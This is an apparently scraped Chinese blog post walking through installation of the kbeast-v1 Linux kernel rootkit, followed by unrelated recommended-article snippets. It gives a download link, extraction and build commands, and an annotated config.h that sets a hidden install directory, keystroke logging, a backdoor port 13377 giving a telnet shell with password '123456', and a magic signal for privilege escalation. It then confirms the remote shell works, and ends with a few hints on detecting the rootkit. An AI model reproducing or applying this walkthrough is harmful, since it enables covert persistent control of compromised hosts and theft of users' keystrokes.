Rootkit有应用级、内核级和硬件级

用的比较多的是内核级别,比如基于linux LKM编写的rootkit

rootkit可以理解为一个超级管理员的工具箱,这个工具箱通过调用系统LKM接口可以动态实现对内核功能的修改,从而实现相比普通后门程序的变态级功能,比如:

1、替换    ====> 可以将系统命令替换成其他内容,比如将ls替换成rm,这样一来当你敲入ls时实际执行的是rm

2、隐藏     ====>可以隐藏自身文件(ls看不到)、隐藏进程(ps aux看不到)、连接隐藏(netstat看不到开放的端口)等

3、嗅探    ====>可以实现键盘记录、网络访问记录等

正因为rootkit如此变态,因此很多黑客会在拿到目标主机后通过安装rootkit这种超级后门来隐藏自己和持续的控制该主机

需要注意的是因为rootkit是内核级别的代码,故要求root权限才能运行,并且rootkit要适配对应的linux内核版本!(功能牛X,但使用条件也苛刻啊- -!)

此处拿kbeast-v1这款rootkit来举例,附上下载链接:

http://www.core.ipsecs.com/rootkit/kernel-rootkit/

下载得到ipsecs-kbeast-v1.tar文件,tar -zvxf ipsecs-kbeast-v1.tar得到kbeast-v1文件夹,其中包含如下文件:

config.h 为配置文件,在安装之前需要先对该配置文件进行修改

config.h:

/*
Kernel Beast Ver #1.0 - Configuration File
Copyright Ph03n1X of IPSECS (c) 2011
Get more research of ours http://ipsecs.com
*/ /*Don't change this line*/
#define TRUE 1
#define FALSE 0 /*
Enable keylog probably makes the system unstable
But worth to be tried
*/
#define _KEYLOG_ TRUE /*Define your module & network daemon name*/
#define KBEAST "kbeast" /*
All files, dirs, process will be hidden
Protected from deletion & being killed
*/
#define _H4X0R_ "_h4x_" /*
Directory where your rootkit will be saved
You have to use _H4X0R_ in your directory name
No slash (/) at the end
*/
#define _H4X_PATH_ "/usr/_h4x_" =====>此处为安装路径,可以视情况修改。安装完成后该文件夹ls时不显示,cd _h4x_ 可以进入。 /*
File to save key logged data
*/
#define _LOGFILE_ "acctlog" =====>日志(键盘记录)存放文件 /*
This port will be hidded from netstat
*/
#define _HIDE_PORT_ 13377 ======>监听端口(用作后门连接,远程telnet这台设备的13377端口即可获取shell) /*
Password for remote access
*/
#define _RPASSWORD_ "123456" ======>远程连接到这台设备时的密码
#define _MAGIC_NAME_ "test01" ======>远程连接过来时给与什么账户(如果此处设为'root'则telnet过来时就是root权限)
/*
Magic signal & pid for local escalation
*/
#define _MAGIC_SIG_ 37 //kill signal
#define _MAGIC_PID_ 31337 //kill this pid

接下来开始安装步骤:

执行 ./setup 时显示:

build参数:安装

clean参数:卸载

version:可以看见支持2.6.18和2.6.32版本的内核

执行 ./setup build 开始安装

结果如上,显示安装完成

此时远程连接此设备的13377端口,成功进入该设备,且得到的用户为指定用户

总结:

安装完成后netstat看不到对应的侦听端口,但是扫描可以发现(因为扫描相当于真实去连接这个端口)

在usr下ls看不到相应目录,但是cd /usr/_h4x_可以进入

键盘记录存储于/usr/_h4x_下的acctlog.0

ps aux时看不到进程,但是ps aux|grep h4x时可以看到

rootkit(kbeast-v1)的更多相关文章

  1. Rootkit Hunter Sourcecode Learning

    目录 . Rootkit Hunter Introduce() . Source Code Frame() . do_system_check_initialisation() . do_system ...

  2. Linux Rootkit Learning

    目录 . 学习Rootkit需要了解的基础知识 . 挂钩(HOOKING) . 直接内核对象操作 . LSM框架(Linux Security Module)于LKM安全 . rootkit检测技术及 ...

  3. rootkit 内核函数hook

    转自:https://0x90syntax.wordpress.com/2016/02/21/suterusu-rootkitx86%e4%b8%8earm%e7%9a%84%e5%86%85%e8% ...

  4. MIP 官方发布 v1稳定版本

    近期,MIP官方发布了MIP系列文件的全新v1版本,我们建议大家尽快完成升级. 一. 我是开发者,如何升级版本? 对于MIP页面开发者来说,只需替换线上引用的MIP文件为v1版本,就可以完成升级.所有 ...

  5. Git异常:fatal: V1.0 cannot be resolved to branch.

    GitHub实战系列汇总:http://www.cnblogs.com/dunitian/p/5038719.html ———————————————————————————————————————— ...

  6. !+"\v1" 用来“判断浏览器类型”还是用来“IE判断版本”的问题!

    这种写法是利用各浏览器对转义字符"\v"的理解不同来判断浏览器类型.在IE中,"\v"没有转义,得到的结果为"v".而在其他浏览器中&quo ...

  7. 自己动手写计算器v1.0

    今天突发奇想,想着看了还几个设计模式了,倒不如写点东西来实践它们.发现计算器这种就比较合适,打算随着设计模式的学习,会对计算器不断的做改进. 包括功能的增加和算法的改进.初学者难免犯错,希望大家不吝指 ...

  8. Atitit.安全性方案规划设计4gm  v1 q928

    Atitit.安全性方案规划设计4gm  v1 q928 1. 安全架构设计与功能安全检测1 2. https1 3. 账号安全体系1 4. 配置文件安全 1 5. 源码加密与安全2 6. 最高强度的 ...

  9. rootkit后门检查工具RKHunter

    ---恢复内容开始--- rkhunter简介: 中文名叫"Rootkit猎手", rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检 ...

随机推荐

  1. RQNOJ 3 Jam的计数法

    一道模拟题,用的vector比用链表要方便很多,毕竟不需要自己写,因为是递增的,所以每一次你都要去检查最后一位加1之后有没有越界,如果没越界你就可以把他当前的字符删掉替换成他下一位的字符就可以了,如果 ...

  2. @Scheduler与cron

  3. Maven学习 二 Maven环境搭建

    第一步:下载Maven并解压 注意选择镜像地址,选择国内的会快点 解压目录 Maven目录分析 bin:含有mvn运行的脚本 boot:含有plexus-classworlds类加载器框架 conf: ...

  4. Alpha 冲刺 (6/10)

    队名 火箭少男100 组长博客 林燊大哥 作业博客 Alpha 冲鸭鸭鸭鸭鸭鸭! 成员冲刺阶段情况 林燊(组长) 过去两天完成了哪些任务 协调各成员之间的工作 测试服务器并行能力 学习MSI.CUDA ...

  5. W7500P硬件TCP/IP+硬件物理层PHY+Cortex-M0处理器(48MHZ)

    W7500P 硬件TCP/IP+硬件物理层PHY+Cortex-M0处理器(48MHZ) 硬件TCP/IP+硬件物理层PHY+Cortex-M0处理器(48MHZ) 如果您发现商品信息不准确,欢迎纠错 ...

  6. Ubuntu 14.04 LTS 初装成

    原先博客放弃使用,几篇文章搬运过来 Windows 7下使用win32diskimager 制作启动盘,安装Ubuntu OS安装完成后,安装DrclientLinux. 安装搜狗输入法 Linux下 ...

  7. WPF 依赖属性&附加属性

    依赖属性 暂无 附加属性 1.在没有控件源码的前提下增加控件的属性 2.多个控件需要用到同一种属性 使用附加属性可以减少代码量,不必为每一个控件都增加依赖属性 3.属性不确定是否需要使用 在某些上下文 ...

  8. Android 音乐(音效)播放方式总结

    一.音效的分类 音效按照作用的不同,可以将音效分为即时音效和背景音乐.两种音效在Android中的实现技术是不同的. 主要的实现方式为:SoundPool.MediaPlayer. 区别在于,Medi ...

  9. MongoDB 字符串值长度条件查询

    在实际项目中常常会有根据字段值长度大小进行限制查询,例如查询商品名称过长或过短的商品信息,具体的实现方式可能有多种,在此记录常见的两种实现 使用 $where 查询(性能稍逊一些) 1 2 3 4 5 ...

  10. 第十九节:Java基本数据类型,循环结构与分支循环

    基本数据类型 Java中的基本数据类型,有8种,在Java中有四种类型,8种基本数据类型. 字节 boolean 布尔型为1/8 byte 字节类型为1 short 短整型为2 char 字符型为2 ...